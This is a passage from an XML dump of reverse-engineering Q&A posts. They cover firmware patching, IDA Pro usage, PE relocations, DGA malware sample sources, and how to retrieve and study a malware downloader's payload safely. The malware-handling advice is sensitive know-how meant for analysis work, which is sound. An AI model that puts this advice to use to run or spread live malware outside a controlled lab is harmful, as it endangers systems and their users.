&lt;code&gt;cpio&lt;/code&gt; utility&lt;/a&gt; and not need any special tools to modify the file system and then re-compress it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The modified file system will likely need to be located at the offset in the rebuilt firmware image the bootloader expects it to be. For reference, devttys0 has a full walk-through in his article &lt;a href=&quot;http://www.devttys0.com/2011/06/firmware-patching-fixing-the-tew-632brp/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Firmware Patching: Fixing the TEW-632BRP&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Additional resources:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitsum.com/firmware_mod_kit.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;Firmware Modification Kit - Giving YOU the power to customize your firmware&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://forum.bitsum.com/forum/index.php/board,12.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitsum forum&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.thegeekstuff.com/2009/07/how-to-view-modify-and-recreate-initrd-img/&quot; rel=&quot;nofollow noreferrer&quot;&gt;How to View, Modify and Recreate initrd.img&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2017-04-02T04:34:29.990" LastActivityDate="2017-04-02T04:34:29.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15069" PostTypeId="2" ParentId="15067" CreationDate="2017-04-02T07:51:37.893" Score="5" Body="&lt;p&gt;This sounds like a straightforward question at first glance, but may prove a little more complicated at second thought.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before we go into how to retrieve the payload, I should highlight the importance of backing up your machine and taking extra precautions. Running malware, even inside a VM, is a dangerous business. Tread safely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The safest way will probably be using &lt;code&gt;wget&lt;/code&gt; or a similar tool to download the payload. There are plenty of &lt;a href=&quot;https://stackoverflow.com/questions/22676/how-do-i-download-a-file-over-http-using-python&quot;&gt;ways&lt;/a&gt; to &lt;a href=&quot;https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell&quot; rel=&quot;nofollow noreferrer&quot;&gt;download&lt;/a&gt; an &lt;a href=&quot;https://linux.die.net/man/1/wget&quot; rel=&quot;nofollow noreferrer&quot;&gt;asset&lt;/a&gt;. There are even some tools that let you &quot;replay&quot; a &lt;code&gt;.pcap&lt;/code&gt; (network capture) file as if the HTTP client is connected to the original server, but that does not sound like what you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However downloading the manually payload from a different computer might not be the &lt;em&gt;best&lt;/em&gt; way to do what you're trying to do, for several reasons:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Server might be only serving correct payloads for specific request nuances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible that the server filter any http request nuances to detect a payload being downloaded outside of the malware. That might happen using a specific &lt;code&gt;UserAgent&lt;/code&gt;, specific headers or request parameters (such as post data).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Payload might be scrambled in a way that would make it useless without being served to the malware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you plan on faking web responses from your internal network this is less of an issue (although a simple challenge-response is possible here), but if you plan to download and reverse engineer the payload, you might encounter a scrambled payload that will require further analysis of the original malware downloader before you can continue your research.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Malware might rely on further server communication afterwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you plan on serving the payload to the malware downloader and continue it's execution, the downloader itself or even the downloaded payload might require further consistent connection to the C&amp;amp;C server. This will make any additional dynamic investigation difficult at best, without a live internet connection.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Several download attempts might get your IP/IP range blocked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case any of the previous steps fail you will attempt to download the payload again several times. Oddly enough, this might get your IP or IP range banned from that malware server precisely to prevent any investigation attempts. This is common practice among malware ops, and often enough you'll simply get a benign executable instead of being bluntly blocked.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Connecting a malware to the internet is not &lt;em&gt;that&lt;/em&gt; risky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the malware is running in an up-to-date virtual machine, the risk of letting the downloader download it's payload is minimal. Most samples will not have any VM guest to host zero-days (and those that do, might just as well include it in the first stage executable). You should consider the reasons for and against letting the malware payload connect to the internet and make sure keeping the malware disconnected is right for you. For additional security, you might connect the malware to a different (limited) network interface or one that's even connected to a different ISP/internet account.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2017-04-04T08:06:06.440" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15070" PostTypeId="2" ParentId="15061" CreationDate="2017-04-02T08:23:51.600" Score="5" Body="&lt;p&gt;Unfortunately, IDA's disassembly cannot be separated from it's data type information that is inherent to IDA (and is considered one of it's biggest advantages).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could, however, alter that information manually to get IDA to display the disassembly as you please. For example, you could use the &lt;code&gt;idc.OpHex(ea, n)&lt;/code&gt; API function to make an instruction operand to hexadecimal number format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in order to change the type of the second operand from offset parameter type to hexadecimal parameter type, you can call &lt;code&gt;idc.OpHex&lt;/code&gt; with the address of the instruction as the first parameter and the operand number as the second parameter (&lt;code&gt;1&lt;/code&gt; in your example), or &lt;code&gt;-1&lt;/code&gt; for all operands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, given the following instruction in IDA:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00401421                 mov     ebx, offset aL4jDontWait ; &quot;--l4j-dont-wait&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Python&amp;gt;idc.GetDisasm(0x0401421)&#xA;mov     ebx, offset aL4jDontWait; &quot;--l4j-dont-wait&quot;&#xA;Python&amp;gt;idc.OpHex(0x0401421, 1)&#xA;True&#xA;Python&amp;gt;idc.GetDisasm(0x0401421)&#xA;mov     ebx, 407000h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could then just load a previous save to &quot;undo&quot; all of those changes.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-04-02T08:23:51.600" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15071" PostTypeId="2" ParentId="15057" CreationDate="2017-04-02T08:50:35.997" Score="2" Body="&lt;p&gt;As you rightfully figured out, IDA only takes into account changes it understands are related to the rest of the code. It will consider those values only in the case they're indeed return values the calling function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you'll need to do, as you've figured out yourself, is to make IDA understand those are returned values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a trick to let you do that, by setting that function to return a &lt;em&gt;structure&lt;/em&gt; of two DWORDs (or any other type defined in the structure).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, create an IDA structure by going to the structures view (&lt;kbd&gt;shift&lt;/kbd&gt;+&lt;kbd&gt;F9&lt;/kbd&gt;) and then create a new structure (&lt;kbd&gt;INS&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that structure, define two DWORD integers (either by using &lt;kbd&gt;D&lt;/kbd&gt; on the bottom of the structure or &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; to increase the structure's size first).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then go back to the function, and modify the function's prototype. replace the &lt;code&gt;void&lt;/code&gt; return type with the name of your structure, and append the &lt;em&gt;value location&lt;/em&gt; specifier after the function's name. To specify two registers, in our case &lt;code&gt;EBX&lt;/code&gt; and EDX`, use colons in between.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final result should look like this, assuming you named your struct &lt;code&gt;s_ret&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;s_ret __usercall RunScrIncDec@&amp;lt;eax:ecx&amp;gt;(GeneralObject *object@&amp;lt;eax&amp;gt;, int *bufPtr@&amp;lt;edx&amp;gt;, int value@&amp;lt;ebx&amp;gt;)&#xA;^^^^^                        ^^^^^^^^^^&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-04-02T09:44:48.410" LastActivityDate="2017-04-02T09:44:48.410" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15072" PostTypeId="2" ParentId="15066" CreationDate="2017-04-02T12:29:06.820" Score="5" Body="&lt;p&gt;For &quot;Position Independent Executable&quot; binaries, the loader is free to relocate the binary using some base address. In the case of GDB, the binary is mapped already into memory, the offset &lt;code&gt;0x2013a1&lt;/code&gt; in the memory operand is &lt;em&gt;calculated relatively with the current &lt;code&gt;RIP&lt;/code&gt;&lt;/em&gt; (which is the address of the next instruction). The current instruction size is &lt;code&gt;0x6f - 0x68 = 0x7&lt;/code&gt; bytes, so in considering with the address of the current instruction, we have an offset: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x2013a1 + 0x7 = 0x2013a8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the case of &lt;code&gt;IDA&lt;/code&gt;, you see the &quot;static&quot; virtual address, the offset &lt;code&gt;0x202010&lt;/code&gt; in the memory operand is &lt;em&gt;calculated relatively with the base address of the code segment&lt;/em&gt;, so in considering with the address of the current instruction, we have an offset: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x202010 - 0xc68 = 0x2013a8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These values are coherent for both cases.&lt;/p&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="1619" LastEditDate="2017-04-02T18:17:03.993" LastActivityDate="2017-04-02T18:17:03.993" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15074" PostTypeId="2" ParentId="15066" CreationDate="2017-04-02T19:19:02.707" Score="1" Body="&lt;p&gt;IDA shows a simplified operand, with the &lt;code&gt;rip+&amp;lt;delta&amp;gt;&lt;/code&gt; value resolved, so you don't have to calculate it yourself. If you prefer, you can view the original form of rip-relative instructions by enabling &quot;explicit RIP addressing&quot; in processor-specific options.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-04-02T19:19:02.707" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15076" PostTypeId="2" ParentId="15064" CreationDate="2017-04-02T21:47:54.477" Score="2" Body="&lt;p&gt;In order to get Hexrays to detect that your subtype passed as an argument is actually a member of a bigger parent type, you have to declare the parent type as a structure, and declare the corresponding field in this parent struct as a pointer to the subtype.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function argument type is irrelevant for this purpose, and should have the type of the substruct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.hex-rays.com/products/decompiler/manual/tricks.shtml#03&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/decompiler/manual/tricks.shtml#03&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8679" LastEditorUserId="8679" LastEditDate="2017-04-04T20:58:45.093" LastActivityDate="2017-04-04T20:58:45.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15077" PostTypeId="1" CreationDate="2017-04-02T22:36:09.780" Score="0" ViewCount="727" Body="&lt;p&gt;I decompiled a lua file with unluac and it turns out all the string variables are not readable and are instead ascii encoded&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;clues = {&#xA;  {&#xA;    answer = {&#xA;      &quot;\216\173&quot;,&#xA;      &quot;\216\177&quot;,&#xA;      &quot;\216\168&quot;,&#xA;      &quot;\216\167&quot;,&#xA;      &quot;\216\161&quot;&#xA;    },&#xA;    text = &quot;\216\173\217\138\217\136\216\167\217\134\032\216\178\216\167\216\173\217\129\032\217\138\216\186\217\138\216\177\032\217\132\217\136\217\134\032\216\172\217\132\216\175\217\135&quot;,&#xA;    syllables = {&#xA;      {&quot;\216\173&quot;, &quot;\216\177&quot;},&#xA;      {&quot;\216\168&quot;, &quot;\216\167&quot;},&#xA;      {&quot;\216\161&quot;}&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do i go about decoding the whole file &lt;code&gt;ignoring any non ascii characters&lt;/code&gt; in python or java?&lt;/p&gt;&#xA;" OwnerUserId="19747" LastActivityDate="2017-04-04T05:01:07.127" Title="Decode Ascii string values from reverse-engineered lua file" Tags="|python|java|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15078" PostTypeId="1" CreationDate="2017-04-03T00:44:13.257" Score="1" ViewCount="78" Body="&lt;p&gt;I'm new to the coding game. I've been using Ollydbg to try and find the info but it seems it's encrypted. I was hoping I could locate the info so I can program my device to work with the software it's intended for. I was able to find where the process requests the info and sets the info under &quot;names&quot; .text files (Example: &quot;.text _GetDeviceVid&quot; and &quot;.text _SetVid&quot;). Is there a way I can retrieve that info so I can use it to program my device?&lt;/p&gt;&#xA;" OwnerUserId="19745" LastActivityDate="2017-04-03T00:44:13.257" Title="How can I retrieve port configs and IDs of a USBxpress serial device from software DLLs?" Tags="|ollydbg|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15080" PostTypeId="1" AcceptedAnswerId="15977" CreationDate="2017-04-03T06:13:25.293" Score="10" ViewCount="15672" Body="&lt;p&gt;I have read document &lt;code&gt;pecoff_v83&lt;/code&gt; of Microsoft. In The &lt;code&gt;.reloc&lt;/code&gt; section part, I have read: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Fix-Up Table contains entries for all fixups in the image. The Total Fix-Up Data Size in the Optional Header is the number of bytes in the fixup table. The fixup table is broken into blocks of fixups. Each block represents the fixups for a 4K page. Each block must start on a 32-bit boundary.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And, I knew that each block contain: Page RVA and Block Size. Each Block size contain: Type and offset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used &lt;code&gt;peview&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BwGeF.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BwGeF.png&quot; alt=&quot;peview display&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a few questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&quot;&lt;em&gt;Each block must start on a 32-bit boundary&lt;/em&gt;&quot; - I don't understand that, can you explain it?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do PE files use &lt;code&gt;IMAGE_BASE_RELOCATION&lt;/code&gt; to work?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;From this &lt;a href=&quot;https://stackoverflow.com/questions/6002359/so-most-of-the-binary-is-composed-of-reloc-table&quot;&gt;SO question ('&lt;em&gt;So most of the binary is composed of reloc table?&lt;/em&gt;')&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If your program makes a frequent access to global variables and constants, it will have a huge relocation table because theres so much places that the loader has to update&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How does the loader use relocation table and update it?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="17777" LastEditorUserId="53" LastEditDate="2017-08-02T08:19:31.050" LastActivityDate="2018-03-03T11:51:56.037" Title="How .reloc Section is used in PE file?" Tags="|pe|dynamic-linking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15082" PostTypeId="2" ParentId="15077" CreationDate="2017-04-03T11:09:15.217" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How do i go about decoding the whole file ignoring any non ascii&#xA;  characters in python or java?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;did you consider replacing the symbols? You can use a regex as simple as that one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;\\\d{3}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To find all values to replace. For example, this does the trick in python:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;text = r&quot;&quot;&quot;clues = {&#xA;  {&#xA;    answer = {&#xA;      &quot;\216\173&quot;,&#xA;      &quot;\216\177&quot;,&#xA;      &quot;\216\168&quot;,&#xA;      &quot;\216\167&quot;,&#xA;      &quot;\216\161&quot;&#xA;    },&#xA;    text = &quot;\216\173\217\138\217\136\216\167\217\134\032\216\178\216\167\216\173\217\129\032\217\138\216\186\217\138\216\177\032\217\132\217\136\217\134\032\216\172\217\132\216\175\217\135&quot;,&#xA;    syllables = {&#xA;      {&quot;\216\173&quot;, &quot;\216\177&quot;},&#xA;      {&quot;\216\168&quot;, &quot;\216\167&quot;},&#xA;      {&quot;\216\161&quot;}&#xA;  }&quot;&quot;&quot;&#xA;import re&#xA;&#xA;def decode(match):&#xA;    code = int(match.group(1))&#xA;    return chr(code)&#xA;&#xA;print re.sub(r'\\(\d{3})', decode, text)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, please note that this is &lt;a href=&quot;https://en.wikipedia.org/wiki/Extended_ASCII&quot; rel=&quot;nofollow noreferrer&quot;&gt;Extended ASCII&lt;/a&gt; and not ASCII per se.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="3162" LastEditDate="2017-04-04T05:01:07.127" LastActivityDate="2017-04-04T05:01:07.127" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15083" PostTypeId="1" AcceptedAnswerId="15087" CreationDate="2017-04-03T14:01:15.997" Score="2" ViewCount="510" Body="&lt;p&gt;Where i can get DGA (Domain Generation Algorithm) based malware files for analysis?&#xA;And,Can I get malware family names which is using Domain Generation Algorithm?&lt;/p&gt;&#xA;" OwnerUserId="16096" LastEditorUserId="2147" LastEditDate="2017-04-04T15:12:01.777" LastActivityDate="2017-04-05T15:54:53.030" Title="DGA(Domain Generation Algorithm) based malware files" Tags="|malware|networking|dga|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15084" PostTypeId="2" ParentId="15067" CreationDate="2017-04-03T18:54:16.510" Score="2" Body="&lt;p&gt;If you've got the GET reply captured in the wireshark session, then I'd suggest you to just extract the binary from it. This also way you also avoid situations where downloader uses some kind of challenge/response or time-based protocol which means second attempt with the same URL would fail or it was a fast-flux or hijacked server which could be down by the time you get to trying the download again.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-04-03T18:54:16.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15085" PostTypeId="1" CreationDate="2017-04-03T19:40:35.823" Score="1" ViewCount="846" Body="&lt;p&gt;I want flash regular(non branded) firmware on ZyXEL P-2812HNU-F1 router, which have branded version of firmware (customized for local MSO provider).&#xA;To do this, I should first replace the U-Boot image on the board. The full procedure is described in &lt;a href=&quot;https://wiki.openwrt.org/toh/zyxel/p2812hnu-fx#branded_and_nonbranded&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wiki&lt;/a&gt;. However, this procedure is for installing &lt;strong&gt;OpenWrt&lt;/strong&gt; on ZyXEL P-2812HNU-FX series. In my case I just want flash the regular unbranded firmware version from the manufacturer's repository, not OpenWrt. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's not clear: do I need another special U-Boot version, tailored to regular generic (nonbranded) ZyXEL firmware, or I can use U-Boot version created for OpenWrt?&lt;/p&gt;&#xA;" OwnerUserId="14092" LastActivityDate="2017-04-03T19:40:35.823" Title="ZyXEL P-2812HNU-F1, replacing the U-Boot on the board" Tags="|firmware|linux|embedded|serial-communication|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15086" PostTypeId="1" CreationDate="2017-04-04T08:06:07.210" Score="-2" ViewCount="96" Body="&lt;p&gt;I'm testing a malware sample :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hxxps://www.virustotal.com/en/file/55f4cc0f9258efc270aa5e6a3b7acde29962fe64b40c2eb36ef08a7a1369a5bd/analysis/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a malicious executable file. When executed in Windows XP, it exhibits its behavior (ransomware). But the same file when executed in windows 7, it does't show its actual behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Need your help to identify that specific condition in the which makes the malware run only in a specific operating system.&lt;/p&gt;&#xA;" OwnerUserId="19758" LastEditorUserId="2147" LastEditDate="2017-04-05T07:19:04.797" LastActivityDate="2017-04-05T07:19:04.797" Title="Need help in understanding the code of a &quot;Malicious&quot; file" Tags="|malware|static-analysis|" AnswerCount="1" CommentCount="5" ClosedDate="2017-04-06T13:14:21.777" ContentLicense="CC BY-SA 3.0" />
  <row Id="15087" PostTypeId="2" ParentId="15083" CreationDate="2017-04-04T08:28:18.003" Score="6" Body="&lt;p&gt;I know of no collection of malware &lt;strong&gt;samples&lt;/strong&gt;, focusing specifically on DGAs.&#xA;However, there are some resources that generally concentrate on DGAs and may provide you enough pointers to identify a reasonable number of different samples yourself.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;There is &lt;a href=&quot;https://github.com/baderj/domain_generation_algorithms&quot; rel=&quot;nofollow noreferrer&quot;&gt;Johannes Bader's github repository&lt;/a&gt; which features several reimplementations of DGAs found in malware, along with detailed write-ups and reference hashes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you are looking for some more background (more than in my BotConf talk) check out our &lt;a href=&quot;https://www.usenix.org/conference/usenixsecurity16/technical-sessions/presentation/plohmann&quot; rel=&quot;nofollow noreferrer&quot;&gt;USENIX paper&lt;/a&gt;, we listed many of the primary characteristics for a selection DGAs.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I also run &lt;a href=&quot;https://dgarchive.caad.fkie.fraunhofer.de&quot; rel=&quot;nofollow noreferrer&quot;&gt;DGArchive&lt;/a&gt; - the referenced database of algorithmically generated domains (69 DGAs, 617 seeds, 63,699,402 unique domains). Other similar databases are &lt;a href=&quot;http://osint.bambenekconsulting.com/feeds/&quot; rel=&quot;nofollow noreferrer&quot;&gt;John Bambenek's OSINT feed&lt;/a&gt; and &lt;a href=&quot;http://data.netlab.360.com/dga&quot; rel=&quot;nofollow noreferrer&quot;&gt;360.cn Netlab's DGA project&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I will likely provide tags on samples (such as &quot;c2_dga&quot; or similar) on the corpus of my current pet project &lt;a href=&quot;http://pnx.tf/slides/2017-03-16-ACSC-Malpedia.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;malpedia&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1403" LastEditorUserId="1403" LastEditDate="2017-04-05T15:54:53.030" LastActivityDate="2017-04-05T15:54:53.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15088" PostTypeId="1" CreationDate="2017-04-04T09:19:25.990" Score="7" ViewCount="9313" Body="&lt;p&gt;I'm trying to extract LZMA compressed data using &lt;code&gt;binwalk&lt;/code&gt; but the fetched file is not being recognized. &#xA;What am I doing wrong ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I used binwalk to fetch some details as below :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;binwalk firmware.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;----------------------------------------------------------------------&#xA;&#xA;384272        0x5DD10         Base64 standard index table&#xA;428268        0x688EC         Base64 standard index table&#xA;454224        0x6EE50         LZMA compressed data, properties: 0x6C, dictionary size: 33554432 bytes, uncompressed size: 3468924096053250820 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Second step: using &lt;code&gt;dd&lt;/code&gt; to fetch that lzma compressed data. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dd if=firmware.bin bs=1 skip=454224 of=firmware.lzma&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;45812+0 records in&#xA;45812+0 records out&#xA;45812 bytes (46 kB) copied, 0.245414 s, 187 kB/s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Third Step : using &lt;code&gt;lzma&lt;/code&gt; to get the data &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lzma -d firmware.lzma&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;**lzma: firmware.lzma: File format not recognized**&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is it not being recognized ? Am I missing something ? &lt;/p&gt;&#xA;" OwnerUserId="3868" LastActivityDate="2019-10-31T09:00:33.787" Title="lzma: File format not recognized [Details enclosed]" Tags="|firmware|patch-reversing|" AnswerCount="1" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="15089" PostTypeId="2" ParentId="6315" CreationDate="2017-04-04T09:35:07.343" Score="0" Body="&lt;p&gt;As mentioned in the comments, OpenSSL salted format (if that's indeed what you have) stores &lt;em&gt;no information&lt;/em&gt; about the encryption used. You can probably guess some things, e.g. the block size from the size of the encrypted data, but to know for sure you need access to the &lt;strong&gt;code which processes the file&lt;/strong&gt; (e.g. the firmware dumped from the device or the firmware updater if it does the decryption). Without access to that this question can't really be answered.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-04-04T09:35:07.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15091" PostTypeId="2" ParentId="13024" CreationDate="2017-04-04T15:06:06.953" Score="-3" Body="&lt;p&gt;First disassemble your module&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objdump -xDsl module.ko &amp;gt; disassemble.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then edit the file and search for section init. It look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disassembly of section &lt;code&gt;.init.text&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;002bdb01 &amp;lt;init_module&amp;gt;:&#xA;init_fct():&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19763" LastEditorUserId="245" LastEditDate="2019-12-17T23:01:00.563" LastActivityDate="2019-12-17T23:01:00.563" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="15093" PostTypeId="5" CreationDate="2017-04-04T15:20:43.220" Score="0" Body="&lt;p&gt;DGA, Domain Generation Algorithms, are pseudo-random algorithms used to generate a set of  random domain names, used to establish communication between malware and controller without relying on a preconfigured set of domains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DGAs make domail based malware detection difficult, as domains change rapidly and often multiple domains are available at the same time. It is sufficient for a malware controller to take hold of one domain to maintain communication with the malware, while defenders are required to take hold of hundreds of domains. Some strains of the Confiker malware, one of the first malware families to attract attention towards DGAs, was able to generate as much as 50,000 domains a day.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-04-04T15:20:43.220" LastActivityDate="2017-04-04T15:20:43.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15094" PostTypeId="4" CreationDate="2017-04-04T15:20:43.220" Score="0" Body="Domain Generation Algorithms. Any question that is related to a malware's DGA or to DGA concepts should be labeled as such." OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-04-04T15:20:43.220" LastActivityDate="2017-04-04T15:20:43.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
